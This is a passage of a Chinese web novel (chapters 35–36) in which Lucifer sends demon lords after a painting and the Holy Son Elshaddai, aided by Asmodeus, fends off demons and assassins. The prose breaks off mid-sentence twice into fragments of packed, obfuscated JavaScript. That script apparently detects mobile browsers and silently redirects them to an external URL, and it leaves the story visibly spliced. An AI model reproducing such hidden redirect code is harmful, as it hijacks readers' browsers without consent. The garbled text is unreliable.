路西法将那白衣身影从脑中挥去,唇角微弯,笑道:“除了地狱以外,他们能去的不就一个地方?既然他们愿意去,就让他们永远留在那儿吧。” 他说着血腥的命令,即将开启一段杀戮,却还是优雅散漫的模样,好似不过在说这一盏茶品起来浓淡不佳。 别西卜眸光发亮,崇拜地望向自己的主君,俯身应下。 “至于那些坐不住的…… “也罢,关了他们这么许久,该是瞧瞧他们本事学得如何了。既然他们在乎那幅画,传令下去 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能把同为魔王的骗得团团转,那也是对方的本事,值得赏。 “陛下思虑周全。”别西卜恭敬地应下,但不免有些黯然。 “其实纳托亚我本是想留给你的。” 路西法斜斜倚在柔软的绒枕上,冷不丁道:“这也就是惩罚。” “我绝不会离开潘地曼尼南!”别西卜惊愕之下脱口而出。 “请您责罚我,但请不要赶我离开。”别西卜焦急道,“我一定会记住教训!绝不再犯!” 路西法看着他满目不作伪的惶急,迟迟不语,许久,才笑了一声:“离开我,不会更自在吗?” 地狱所有魔王都是这样想的。 撒旦陛下就如悬在他们头顶的滚滚天雷,不知道什么时候就会携以万钧之势劈下来,将他们炸个粉碎。 当然是离得越远越好。 天国太远,撒旦太近。 哪个更可怕不言而喻。 “我从未如此想过。”别西卜已经跪了下来,恳切道,“从当初您选择了我开始,我就发愿此生一定追随您,纳托亚可以给任何人,我只想留在您身边。” 路西法知道,他如此说,也一直如此做。 就像那时在天国,他叛变的消息刚刚传出来,其他天使还在惊讶,别西卜已经毫不迟疑地跳了下去。 别西卜从来就是这样,实心的。 “我是说,把纳托亚赐给别人,就是对你的惩罚。”撒旦陛下难得坐正了些,端正一下态度,“别西卜,你的忠心,我从未质疑,以后你也无需为这些小事自责。” 别西卜感觉到一股无形的力量不容抗拒地将他扶起,眼角泛红,低声应是。 陛下真好。 陛下什么都好。 都是……的错。 若非祂逼迫,陛下又怎会背上骂名无奈离开? 可笑那些天使,到现在还分不清究竟谁才是无情可恨的。 他一定会助陛下踏平天国,一雪前耻! 路西法不知他所想,还在欣慰自己的教导应该会有些许成果。 早知教导是这般劳心劳力的事,当初耶和华给他传授技巧的时候,他就不推脱了。 那时也是傻,总觉得会和祂永远相对,不会有用到的一天。 可忘了情感本就是朝冰夕火,今日和乐融融,不代表他日不会兵戈相见。 统领地狱到如今,路西法却觉似乎也能感触到些许耶和华那时的心境,有些事不得不为。 仿佛,也能释怀一二了。 命令魔王们取回那幅画,不仅是个考验,亦是他忽地想,曾经的自己是什么样的? 好像有些记不起来了。 或许,从这幅画中,还能窥见。 耶和华曾经总是告诉他,岁月最是能消磨一切,无论多浓烈的爱恨,都会被它淡化,直到提起来都不痛不痒,只付之一笑。 他那时也不信。 现在却觉得有理。 只要时间够长,某一天,兴许他也能彻底放下呢? 到那时,他再面对耶和华,也能坦荡无畏,无波无澜,心平气和地说两句话,再到棋盘上争高下。 若有那时,伊勒沙代可能也能做个见证吧。 路西法摩挲着掌中的笔,莫名笑起来。 35. 生存之道 伊勒沙代似有所感,微微一顿。 但就在这瞬间,锋利的刀刃从他身侧险险擦过。 “小心!” 众人惊叫声四起,但也只能到此,他们都自顾不暇。 忽地有柄短剑斜刺里伸出,强势挑开了那偷袭的刀刃。 “这种时候还敢走神,你真不想要命了可以死我手上!” 不知何时出现的金发少年怒斥道,他依旧是那般高傲骄狂,全然看不出当日被路西法戏谑之言刺激得控制不住情绪的模样。 聂厄曼一听,就在旁边气得要跳脚骂人。 但他身为祭祀,只擅长法术,眼前这些杀手可不会给他施法的时间,因此左支右绌,还是塞里加扛着压力在护着狄曼图雅之余保护他。 利安维亚一加入,他们的压力顿时减轻不少。 小祭祀虽年轻张狂,但可看得出确实是实力不俗,这些杀手对上他没有一击之力。 直到战局结束,大家各自休整,阿斯蒙蒂斯才揣着手不紧不慢地走过来。 约里忿忿地瞪他一眼,明晃晃地指责他不顾情况的装瞎行为。 他才不信,阿斯蒙蒂斯堂堂魔王,会没办法应对几个人类杀手。 阿斯蒙蒂斯有苦不能言,他总不能说,他也想出手,但伊勒沙代要求他别过来吧? 刚才那杀手想偷袭伊勒沙代的时候,要不是利安维亚抢先,他真是暗器都要脱手了。 开玩笑,要是伊勒沙代出事,他日陛下和他再续前缘,阿斯蒙蒂斯可以早点给自己选个喜欢的坟地了。 他凑到伊勒沙代身边,紧张地绕着他转了一圈,见他完好无损,这才放下心。 利安维亚也跟了过来,对着阿斯蒙蒂斯,他很明显十分警惕。 话也不太好听。 “你竟敢同恶魔走这么近,难不成是被他迷惑了心智?” 阿斯蒙蒂斯顿觉奇冤。 他是喜欢散发魅力勾|引美人,但这次他真是什么都没做啊! 就算圣子是被迷惑了,可这也不是他的功劳啊。 阿斯蒙蒂斯恨恨地瞪他一眼,咬牙切齿地嘟囔:“小鬼,要不是因为你这张脸,你看我怎么收拾你!” 利安维亚冷哼道:“尽管来,我不会怕你。” 阿斯蒙蒂斯当然不会真对他动手。 那天晚上只是情急之下出了个昏招,利安维亚毕竟是人类的圣殿祭祀,也是大祭司内定的继承人,他现在出事会破坏路西法后续的计划。 况且……他有刻板印象,他觉得长得像路西菲尔的,纵然只有一点点,恐怕也不是什么善茬。 所以他干脆当没听到,只朝伊勒沙代问道:“最近的城镇距离这里太远,那边倒有个隐蔽些的背风丘陵,不妨在那里休整一晚,明早再出发?” 对方不会料到他们一行人如此难缠,大概今晚只有这一波杀手,不如抓紧机会休养,然后再趁白日赶路。 阿斯蒙蒂斯难得设身处地从人类的身体力量角度出发考虑,暗自心想真是麻烦。 不如直接杀回去呢,一了百了。 对方不仁他们又何必手下留情。 但圣子明显绝不会选择这样做。 利安维亚皱起眉,也看向伊勒沙代:“有些杀手还没死,你打算怎么处置他们?” “绑起来。” 伊勒沙代转了转手中的伞,伞柄已经满是划痕,应当是连一场小雨也支撑不起,不得不舍弃。 利安维亚不理解他这种心慈手软的作风,眉头越皱越深,语气也硬邦邦的:“你就不怕他们泄露你的去向,给你招致后患?这简直就是无用的软弱!” 伊勒沙代淡然瞥过他不忿的脸,道:“我自降生起便早有预料今日,因畏首畏尾而所行违背所愿,非我所为。” 他太过镇静,像是一切都不能挑起他的心绪,利安维□□不自禁脱口而出:“那你知道是谁要杀你吗?” “知道。” 利安维亚看他的眼神如同在看一个怪物:“你不生气?” 路西也问过类似的问题。 但路西在提问之前,以及得到答案以后,都会按自己的方式去验证。 路西会更相信自己。 伊勒沙代垂下湛蓝双眸,掩去一片晴朗湖光,温声道:“不会。” 因为不重要。 旁人爱他恨他,他都不在乎。 利安维亚却更显怒意:“你不求回报夙夜为他们治病,还传授大道,他们对你没有一丝感恩!你知不知道,他们明明都清楚城主一定会来要你的命!” 但没人告诉伊勒沙代。 他们选择缄口不言。 沉默地送他出城,就像送葬。 “世情已然如此,苍生都在其中挣扎自己的生存之道,不足为奇。” 沉默,漠视,这也是一种保命手段。 伊勒沙代不觉得有问题。 如果可以,谁不想活着呢? 伊勒沙代理解。 “你们到底在说什么?”狄曼图雅悄悄过来听了半晌,还是云里雾里,忍不住开口直接发问,“什么要命的?谁要伊勒沙代的命?” “他救的人!”利安维亚说得掷地有声,“今日的杀手,全是格罗多城主派来杀他的!” 当事人伊勒沙代仍是一脸平静,狄曼图雅却已经跳了起来:“什么?那家伙是装得诚心忏悔的样子?” 利安维亚一指伊勒沙代:“他有这样的本事,格罗多城主怎么敢放他离开暴露自己最大的秘密?若是其他人也学会了如何制作极品灯油,格罗多城还有什么优势足以减税?” 狄曼图雅蓦地脸色一白:“减,减税?” 一切她想不通的细节似乎都连起来了。 为何格罗多城主的地位能固若金汤? 因为他掌控着极品灯油的制作秘密。 为何格罗多城居民分明有所察觉城主的暴虐不仁,却装聋作哑粉饰太平? 因为格罗多城主能用极品灯油换取减税。 左右也是死刑犯和流浪汉,碍不着居民。 格罗多城地处偏僻,资源亦不丰,他们找不到更好的办法来应对莱洛温国高昂的税费了。 所以,伊勒沙代虽好,帮了他们很多,但还是只能对不起他了。 这世上能有几个人愿意损己利人呢? 狄曼图雅脑子一片混乱:“可是,他,他难道不该来杀我吗?我把王族的身份纹章给他看了……” “谁不知道你是亲王的独女,你若是出了事,亲王必不会放过他,只要让你手上没证据,绕是你回王城告上他十状,他也能有办法脱身,何必杀了你更添麻烦。” 反正狄曼图雅就算身份再尊贵,也只是个没有实权的大小姐而已。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091879|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >旁的小打小闹也就罢了,王廷中的事还轮不到她做主。 “所以,我们离开以后,他们还是会那样去制作灯油。”狄曼图雅喃喃道,巨大的失望和无力感笼罩了她,她还以为,自己起码做成了一件事,帮到了一些人。 可兜兜转转,一切又回到了原点。 “不会了。” 狄曼图雅惊讶地望向伊勒沙代。 伊勒沙代依旧笑容温柔:“我走的时候,破坏了湖底的东西。” 欲壑难填。 现如今还是死刑犯与流浪汉,但当“原料”不够的时候,更多无辜的居民哪怕好端端走在路上恐怕也会变成“死刑犯与流浪汉”。 要从根本上解决问题。 当然,最根本的,应该还是税收问题。 但这就不是眼下能解决的了。 阿斯蒙蒂斯听得无聊,又催促他们,众人这才决定出发去休整。 只是一路上气氛沉重了不少。 * 这一夜果真如阿斯蒙蒂斯所言,没有杀手再来,次日一早,他便叫醒所有人开始赶路。 接下来几日,他都自告奋勇守夜。 利安维亚一开始并不相信他,坚持要盯着,但奈何他本人也只是个需要睡眠的人类,见阿斯蒙蒂斯一直没作妖,也只得放下一半的心去休息。 期间路西法一直没出现。 利安维亚状似不经意地向阿斯蒙蒂斯问起,却被他笑嘻嘻地打马虎眼糊弄了过去。 问得多了,阿斯蒙蒂斯还故意调戏:“为什么非要陛下不可?难道我长得很差吗?虽然是比不上,但我的经验技巧可以弥补……诶,别走啊!” 利安维亚最受不了他的轻薄,每次听到都气得七窍生烟。 聂厄曼虽然也看不惯阿斯蒙蒂斯这副满嘴荒唐话的样子,但能看到利安维亚跳脚,他还是乐见其成。 起码利安维亚现在不会想伤害伊勒沙代,于他而言就是好事。 阿斯蒙蒂斯一直等着伊勒沙代问起路西法的行踪,他已经提前想好了如何回答。 但伊勒沙代出乎他意料地从未问过。 真是稀奇,哪怕是出自于敌对的立场,他不也该关心路西法在暗中计划什么吗? 除非他对天国真是漠不关心。 阿斯蒙蒂斯摸摸下巴,放弃思考。 他选择当一个沉默的车夫,专心赶路。 这几头伪装成骏马的三目飞翼狮可不服管,上次遇到那些杀手,它们就闻着鲜血的味道蠢蠢欲动。 兽类地狱生灵不比恶魔,它们几乎都凭本能行事,阿斯蒙蒂斯得费些心思制住它们,最好不让它们再与杀手碰上。 阿斯蒙蒂斯索性催它们加快了速度,一路上倒也相安无事。 直到一个傍晚。 阿斯蒙蒂斯回顾身后,暗自计算时间和距离,心道,现在就算是那些杀手插上翅膀,也飞不过来,这下总算不用瞻前顾后了。 但他还是放心早了。 后无追兵,不代表前无意外。 当他眼看着一团黑色的物体以比光还快的速度趁着他们下车休息时直直撞进伊勒沙代还在的内室时,情不自禁地瞪大了眼睛。 这场景有一点熟悉…… 咦,这身影也有点熟悉。 不对,这不是他的老同事吗? 这里怎么会有恶魔? 36. 换你相拥 那恶魔抬起头,和伊勒沙代打了个照面,盯着他的脸愣了愣,随即一个闪身躲过朝他袭来的火球。 他一边朝着马车周围设结界,一边朝车外破口大骂:“艾尼,你真是有够不要脸的!” 众人扭头看去,不远处幢幢树影下正有个长得奇形怪状的恶魔。 他骑着一条身披红烟的大蛇,照得四周如浴火中,他颈上的蛇头、人头、牛头齐齐望着车内的方向,分外诡异慑人。 正中那颗男人的头开口道:“华利弗,把画交出来,不然你就等着死在这里。” 华利弗“呸”了一声:“我凭本事偷来的,凭什么白白给你?” “凭我有本事抢过来。”蛇头冷哼道。 好有道理。 华利弗一想到自己费尽千辛万苦才得来这画卷,如今却要白白便宜艾尼,便恨得咬牙切齿。 他抬头扫视周围,他本不将这里围了一圈的人类放在眼里,但此刻心头又冒出个主意。 敢想敢做,他当即就动手。 ——将黑布裹着的画卷塞进了身旁伊勒沙代怀中。 “人类,你听好,这幅画是我们撒旦陛下重金悬赏之物,你要是拿着它,就等于拿住了这世上无尽的富贵权势,有我在这儿,这家伙不敢杀了你!你只管护好它,想要什么都能有!” 华利弗言辞急迫,他为了盗取这幅画特意化作成容貌普通的下界生灵模样,此刻看上去倒是比形容可怖的艾尼可信得多。 他长出一口气:“我虽也是恶魔,但我只是喜欢偷偷东西,那家伙可不一样,他生性残暴,一会儿无论他许诺你什么,你可都别同意,不然等你交出画卷,他一定会反悔的!” 华利弗深知人性最难考验,艾尼若许以重利,人类难保不会动心,他只能将路西法的悬赏往重了说,以期对方不会动摇。 若是一个人类将这幅画送给陛下……也不知道陛下会赏赐什么。 但总归不会差的。 就算对方想做人间的王,陛下大概也能同意。 华利弗紧紧盯着面前这个相貌出众的人类,如果他流露出害怕或不情愿,他会立刻把画卷抢回来。 没胆识的人类,就是泼天富贵到手上也拿不住。 但他发现自己似乎小瞧了这仪容俊雅的年轻人。 自始至终,无论他说出什么,他都依旧是那副笑容温和的模样,既不狂喜亦不畏惧。 城府深沉。 华利弗有盗窃的癖好,最对那种身心紧张,时时刻刻需要关注身边所有人的感觉上瘾,由是也练出敏锐的识人本事。 他立刻意识到,他似乎遇到了一个不得了的人物。 不过想想也不奇怪,千千万万人类里面,能正巧撞上魔王斗殴的,从运气来说也不算是常人了。 面对聪明人,华利弗马上转变了策略:“我们陛下对这幅画志在必得,只要你能将这幅画带到他面前,什么都好说。” 伊勒沙代垂眼看了看那裹在黑布中的画卷,若有所思,笑道:“我明白了,放心,我不会给他。” 华利弗松了口气。 随即,他紧张地看着车外试图找个不伤到伊勒沙代又能抢走他怀中画卷角度的艾尼,低声问:“一会儿我去拖住他,你找个机会驱动这马车赶紧走,越快越好。” 伊勒沙代顺着他的目光看向牛头喷着熊熊烟气的艾尼,温声道:“你不是他的对手。” 他知道啊,他当然知道,不然他怎么一路只跑不打? 难道是他不想反杀艾尼吗? 华利弗心头一梗。 “我猜,路西应当是对你们许下了重利,若他不能得到这幅画,他不会罢休的。”伊勒沙代道,“不如现在直接击退他。” 听着他的话,华利弗像在地狱见到天使似的瞪大了眼睛,表情扭曲,那张伪装出来的脸都隐隐有崩坏的迹象。 不仅是伊勒沙代一个普通人类扬言要击退魔王…… 更重要的是,他叫陛下什么? 这是他能叫的吗? 这是他配叫的吗? 华利弗想也不想,干脆利落地伸手成爪,向他怀里探去! 他看错了,这人就是个不知天高地厚的预备役死人。 与其等他拿着画卷到陛下跟前找死,还不如他自己带着画卷接着跟艾尼缠斗。 虽然正面武斗的功力不够,但华利弗对自己盗窃的技能向来自信。 无论何等防守严密之处,他都能来去自如,这一手灵活敏捷的功夫在三界都算一流。 但他快,伊勒沙代却更快。 他猝不及防伸手,有心算无心,本来应有九成把握。 不幸他对面是伊勒沙代。 在他够到外层的黑布之前,伊勒沙代身形微动,不见他如何动作,转瞬已出现在马车外。 华利弗瞪大了眼睛。 为防伊勒沙代不配合,他这结界可不是单向的。 这说明—— 伊勒沙代的法力,起码在他的五分之一之上。 但这怎么可能? 他好歹也是个魔王! 在他过往的认知里,纵使他如今只有五分之一的力量,人间也只有大祭司能与他一抗才是! 伊勒沙代的年纪明显对不上。 华利弗惊疑不定,他意识到自己似乎从这一行人类里面挑了个硬柿子。 在一旁看了半天的艾尼毫不留情地哈哈大笑。 他的牛头转向伊勒沙代,浑厚的声音响起:“喂,人类,把那幅画给我,你不必听那个贼胡说八道,你拿着它也没用,你又进不去地狱,哈哈哈哈哈哈哈哈!” 这确是实话。 华利弗看似真诚,其实也只是想诓骗伊勒沙代暂时替他带着画卷逃跑而已。 活人哪能进入地狱?踏进地狱之门那一刻就该在重重魔气中爆体而亡了。 到时候还不是华利弗带着画去潘地曼尼南领赏。 华利弗也出了马车,听闻自己的打算被艾尼点破,也不再维持原先故作的和善,一张伪装的脸上面色沉沉,倒更符合魔王的模样。 三人各怀心思相对而立。 艾尼志在必得,在他看来,华利弗本就弱,只剩五分之一的力量被个凡人碾压也属正常。 要是换作对上他,伊勒沙代必然就毫无胜算了。 在他们明目张胆地打量中,伊勒沙代不疾不徐地从怀中抽出那裹着画卷的黑布,他白皙纤长的指节与黑布正成相映。 一时间,所有眼睛都盯向了他掌中之物。 “人类,把画给我。”艾尼的蛇头阴森森地开口,獠牙在暗夜里也附有幽幽暗光,威胁之意溢于言表。 伊勒沙代仍是表情不变。 他将画卷随意朝向艾尼,道:“你想要它。” 艾尼不耐烦地躁动起来,不明白这人类在故弄玄虚什么。 他再怎么挣扎,也不可能逃出他的手掌心。 旁边还有那么多他的朋友呢,随便抓一个不也能威胁到他? 他虽不搭理一旁的其他人类,刚刚直接打晕了,就剩两个有法力的还勉强清醒着,但不代表他不会利用。 方才但凡有谁想跑,他都一定会把对方抓回来。 只可惜这人类的朋友倒还都挺有胆识,对他也够真心,竟是一个都没走。 他便开始焦躁起来。 伊勒沙代仿若未觉,又将画卷朝向华利弗:“你也想要,是吗?” 华利弗自计谋被点破便不再试图出言欺骗,干脆地点点头。 他现在倒是想听听伊勒沙代有什么条件。 总不会是想自己持有吧? 他拿着又没用啊。 但却见伊勒沙代将画卷一收,道:“不巧,我也想要。” 艾尼一听就急眼了:“你是不是脑子有问题?不是跟你说了你进不去地狱?你想死我可以现在就成全你啊为什么还得换个时间地点?” 真是见了天使了,这个人类是不是脑子受过重伤? 他拿这画卷有个屁用! 就诚心跟他过不去是不是! 他都长得这么奇形怪状一看就是大恶魔了这人类还这么胆大包天,他还能知道他不能杀人不成? 艾尼向来性情急躁,见状便蠢蠢欲动,牛头已经偷偷在瞄旁边哪个人类看着好抓。 他三个头都没注意到,华利弗的表情忽地变了。 华利弗想到,为何伊勒沙代区区一个人类非要冒着得罪两位魔王的风险持有这画卷? 是,他是活人,进不去地狱,自然更不必说前往潘地曼尼南领赏。 但…… 其实也不是没机会见到陛下的。 陛下这段时间,可是经常在外啊…… 难不成…… 华利弗被自己的猜想吓得冷汗涔涔。 那伊勒沙代与陛下是什么关系? 不,无论什么关系,反正,他是他和艾尼,加起来都绝对招惹不起的。 那么他强悍的实力也可以解释得清了。 陛下身边怎会有真柔弱可欺的存在? 一想到这,他被作为奖赏的纳托亚鼓胀得激烈的野心欲|望都一下冷静下来。 他得离开,不能等着艾尼把对方激怒之后再走,那时候恐怕都未必走得掉了。 华利弗悄悄打着退堂鼓,艾尼一无所知,他这边吹响的是进攻的号角。 他扫了一眼旁边的几人。 他想着,伊勒沙代有法力,肯定是圣殿的人,那几个没法力的男男女女一看就是凡人,对他肯定没意义,就不用理会了,剩下两个有点本事的,一个穿得破似乞丐,另一个的衣服在这夜里都能看出料子极好,定然身份很高,又年轻,说不定是那大祭司私生子,让伊勒沙代带着历练凑经历。 好,就他了! 艾尼打定主意,忽地蛇头一张口,信子霎时伸得几丈长,一下就将白衣少年卷了过来! 利安维亚虽有防备,但他只是人类,同魔王之间差别巨大,纵他极力反抗,将艾尼的信子戳得几乎要从中断开,到底也被他挟持在手。 艾尼仗着武力纵横地狱多年,从未吃过这么大亏,还是在个人类身上,气得六只眼睛都要喷火,愤恨地瞪向利安维亚,几乎要克制不住自己的杀心。 不过这一瞪,他的火气像被泼了盆冰水,刹那消下去,只剩点烟。 “我的老天,你怎么长这样?” 他大着舌头惊呼,顺带猛地一下子把利安维亚推了出去。 像利安维亚突然变得滚烫把他烧伤了似的。 “你跟我们陛下什么关系?你不会是他老人家私生子吧?” 但是陛下这些年不是一直不接受任何人靠近吗? 谁生的? 还是他用什么捏的? 利安维亚一怔。 艾尼说话没遮没拦,他听得出来。 那个人……竟然就是,传说中的,地狱之主? 并不丑陋凶恶。 但确实眼高于顶。 只是从他的身份地位而言,高傲,似乎是理所应当的。 而他们,又是什么关系? 当真是……父子? 不可能! 他还记得对方毫不掩饰的讥嘲之意。 他敢说,对方在乎伊勒沙代都比在乎他多。 这张略有相似的脸,在对方眼里什么都不是。 利安维亚狠狠掐了自己一把,努力维持清醒镇静。 不论如何,这魔王误会自己和他的关系是好事,起码他就不敢再轻举妄动了。 利安维亚正要开口,却听伊勒沙代温温柔柔道:“艾尼,若是路西知道你这些胡话,你说他会怎么做呢?” “你怎么敢这样说话!你真有病啊!”艾尼三张嘴同时脱口而出。 随即他又觉得不对。 不是,他什么意思? 他能向陛下告他的状? 啊? 艾尼三个头齐齐盯向伊勒沙代。 三个脑袋都有点转不过来。 华利弗这是什么鬼运气,一挑就挑个最惹不起的人类? 不行,不可能,华利弗要是运气这么差第一次当贼就得被抓,哪能逍遥这么多年,他得相信华利弗的运气。 肯定是这人类诓他的。 他这一路一边追一边奋力击退了不少魔王,阴招损招尽出,好不容易才赶在其他人之前堵住华利弗,要是这次还不成,回去得被其他魔王针对到死! 必须成,不能败! 他心一横,蓦地动身,径直冲向伊勒沙代! 眼见越来越近,他心中越发笃定,伊勒沙代此前不过是虚张声势。 还好他没上当。 这幅画,还有纳托亚,就该他得! 坐骑大蛇悄无声息截住伊勒沙代去路,艾尼浑身燃起熊熊烈焰,顺着面前的道路直直裹向伊勒沙代,照得这夜空都要红透半边。 然而—— 刹那间,隔空结界蓦然升起! 烈焰被阻拦在外,伊勒沙代安然在其中,毫发无损。 艾尼愕然。 这是地狱之火,怎可能就这样被拦住! 下一刻,他感觉到自己的肩头被拍了拍,他转过人头,正好看见一张熟悉的脸。 非常熟悉,他非常讨厌的脸,正笑眯眯地看着他。 “我都站这儿半天了,你怎么都不跟我打个招呼?真没礼貌。” 地狱魔王要什么礼貌! 艾尼瞪大眼睛,立刻往后退避开阿斯蒙蒂斯。 阿斯蒙蒂斯收回手,面上笑容依旧如沐春风,然而手不动声色地背到背后捻起一张帕子狠狠地擦拭,几乎是要恨不得撕下自己一层皮。 恶心恶心恶心,太恶心了! 艾尼这家伙长得这么奇丑无比,他光是看两眼就想吐,刚刚还没注意下意识碰了他,他这只手都不想要了。 阿斯蒙蒂斯顿觉生无可恋。 需要一位美人满怀心疼柔情似水地来安慰一下才能好。 眼前这俩魔王真是看着就反胃。 要不是接到了伊勒沙代的传音,叫他隐匿气息在一旁候着,他刚刚一见面就会让他俩滚远点。 方才他们俩同伊勒沙代相对站着,阿斯蒙蒂斯左看右瞧,一下子理解了路西法陛下为何会看上敌对阵营的圣子。 天天对着这些长得奇形怪状随心所欲不规则拼接的魔王,乍一看到对比鲜明温文俊雅玉骨清姿的伊勒沙代,那简直没办法不动心啊! 阿斯蒙蒂斯深深叹气。 一群丑不自知的东西! 难怪留不住陛下的心! 越想越生气。 阿斯蒙蒂斯恶向胆边生,狠狠踩住艾尼那条试图逃跑的坐骑大蛇的尾巴,将它一把捞起来,翻折几下拧成死结,然后嫌弃地扔回了地上。 丑东西,坐骑也丑。 艾尼一见他就已经彻底懵了,人头还好,蛇头和牛头脸上都不由自主地流露出几分瑟缩。 堂堂七罪魔王之一的阿斯蒙蒂斯怎会在这里? 他不该正在地狱哪个温柔乡里醉生梦死吗? 怎么跑到这人间的荒郊野岭管闲事来了? 七罪魔王除了玛门剩下五位都不曾接受封地,而是选择定居潘地曼尼南,阿斯蒙蒂斯不会是为了纳托亚的封赏而来的。 那就是为了…… 艾尼震惊地望向伊勒沙代:“你跟他什么时候好上的?” 阿斯蒙蒂斯不是刚犯了错被陛下勒令禁欲吗? 当时他们还暗自咋舌这对阿斯蒙蒂斯算酷刑来着。 阿斯蒙蒂斯闻言,霎时头皮发麻,一张俊脸扭曲得能随机吓死一个人类:“艾尼,我真想把你的舌头拔|出来切成片。” 艾尼的信子本就在痛,他一下子闭了嘴,三张嘴抿得整整齐齐。 不是就不是嘛,这么凶恶干什么? 他会这么想,还不是因为他阿斯蒙蒂斯花名在外? 这也能怪他吗? 他暗自委屈,不知阿斯蒙蒂斯已是怄得心头冒火,还没法诉说,只能独自消解,更是痛苦。 阿斯蒙蒂斯转头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091880|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪着想跑的华利弗:“你再动一下我就把你的手和腿全部拆了。” 华利弗打了个哆嗦,老老实实站好,恭敬道:“阿斯蒙蒂斯大人,晚上好。” “好什么好?你哪里看到我好?眼睛瞎了不知道换一双?”阿斯蒙蒂斯怒道。 ……不问好不行,问好也不行啊。 华利弗不敢说话了。 他觉得现在的阿斯蒙蒂斯可以去接替萨麦尔的位置,成为新任“愤怒”。 此刻只有伊勒沙代能开口:“阿斯蒙蒂斯,将他们带远一点,约里他们快要醒来了,不必再给他们带来惊吓。” 见阿斯蒙蒂斯竟真听话地过来把他俩绑一起拖走,艾尼瞪大眼睛,不可置信地回头看了眼伊勒沙代。 这个人类到底是什么身份? 阿斯蒙蒂斯可不是会对情人言听计从的性子,他身份定不普通。 但他没能多看两眼,就被阿斯蒙蒂斯发觉,毫不留情地抠着眼珠子把头掰了回来。 * 伊勒沙代上前,扶起利安维亚,温声道:“如何,可有受伤?” 利安维亚摇摇头。 今晚的信息量太大了,他需要时间消化。 伊勒沙代向呆呆站着的聂厄曼招手,示意他也过来。 聂厄曼不疑有他,立刻赶过来,只是回头神来难掩激动:“您有什么吩咐?” 伊勒沙代道:“扶着他。” 聂厄曼马上不顾利安维亚的反抗架住他。 伊勒沙代轻叹:“我并未全盘恢复,这样做太消耗法力,本不愿如此,但事到如今,也没有其他方法了。” 在利安维亚疑惑,聂厄曼充满崇敬的目光中,伊勒沙代忽地伸手,在他们眉心各自重重一按。 两人顿时都倒了下去,双眼紧闭。 伊勒沙代的脸色也差了许多,肉眼可见地精气神消耗极大。 他目前法力恢复有限,在与魔王针锋相对后一次性覆盖两个圣殿祭祀的记忆,还是有些勉强。 看来后续的事要加快提上日程。 不然总是这样被动。 如何能……早日得到路西的青睐? 路西从不怜爱弱者。 他的目光只会停留在强者身上。 伊勒沙代将他们二人转移至其他昏迷的人身旁后,似是疲惫至极,随意靠在一棵树下闭目休息。 呼吸平稳,许久未有动静,已然入眠。 恰此时,一抹寒光从树上悄然向下,无声无息迫近他的浑身要害之处。 能由阿斯蒙蒂斯暗中保护的人类,对路西法而言一定很重要吧? 如果他死了,一定能重创路西法,引得他痛心震怒,失了章法…… 寒光越发锋锐,杀意如织。 凡人就是凡人,有点法力也不过如此。 且叫他死状凄惨—— 伊勒沙代身形如片叶,轻盈一动。 处处落空,竟只有一处寒光划过他的小臂! 伊勒沙代顷刻之间就站在不远处空旷之地上,小臂血流如注,染透白衣,平添鬼魅色彩。 他却恍若未觉,唇边笑容越发温柔,呢喃般自语:“圣父啊,请宽恕他的罪过。” 只在这一刻,忽地,夜色浓黑如墨,这树林之中似有沉厚怨苦弥重的瘴笼罩。 ——是千万年人间所积的七苦与欲望构成,常年在九层地狱中弥漫之物。 伊勒沙代轻轻呼吸,判定道。 在至暗至黑,至浓至深之处,徐徐出现一个身影。 金线交织在墨色大氅上攀爬出纹路,在零星的照明下亦可见光华流转,点缀其中的赤红宝石珠玉剔透无瑕璀璨夺目,乌发亦如墨,簇拥着那张绝世无双的容貌,而纵是他衣上最华贵的珠宝,也比不过那双殷红竖瞳。 看见他,便如看见这世上至美至好,引诱万众生灵深陷其中的一切诱惑。 权势,荣华,武力,美貌。 他集苍生趋之若鹜的所有于一身,无所不有。 但他此刻的表情属实说不上好。 一直藏在树上的恶魔早就在迷瘴中摔落下来,惊恐万状又违心地被迫跪伏在地,迎接地狱唯一至高的君王。 垂着金链的长靴停在他面前,他闻到了馥郁的仿若烈火焚烧过的花一般的香气,下一刻便不再有任何感知。 一蓬血雾。 成为迷瘴的养料。 地狱之主撒旦陛下,不需要任何求饶忏悔。 只要血肉代价为他的不愉买单。 伊勒沙代望向他,抬手按住了心口。 人类之躯总是需要一颗心脏,哪怕圣子本身并不需要这样的存在。 心脏是特殊的。 心脏的反应是最真实不容自欺的。 再如何蒙昧的生灵,也能从心脏的变化中窥见自己的真意。 心动,喜欢。 原来这就是喜欢。 应该是早就喜欢。 可怜的…… 没有发现。 圣父,路西,如你如我所愿,成为了合格的君王。 圣父,你若还醒着,借我之眼看见他的冷酷与决断,你亦会和我一同,心如擂鼓。 可惜—— 圣父,我离开前设计让你沉眠了。 圣父,你瞧,他现在只看到了我。 圣父,他会发现我的手臂在流血。 圣父,他不会再怀疑你我一体了。 伊勒沙代目光回迎向路西法沉静冷漠的殷红竖瞳,他深知路西法怒至极点便如此刻,但毫无畏惧。 同样,他毫不掩饰自己湛蓝眸中的喜悦欢欣,甚至是—— 痴迷狂热。 种下玫瑰,浇水,护养,剪去不必要的,多余妄生的枝条。 如今终于看到,它美丽繁盛的模样。 至于花泥中有多少血泪骸骨…… 重要吗? 他,祂,要的只有花而已。 伊勒沙代捧着画卷,递到路西法面前。 “画已寻到,请路西法陛下践诺。” 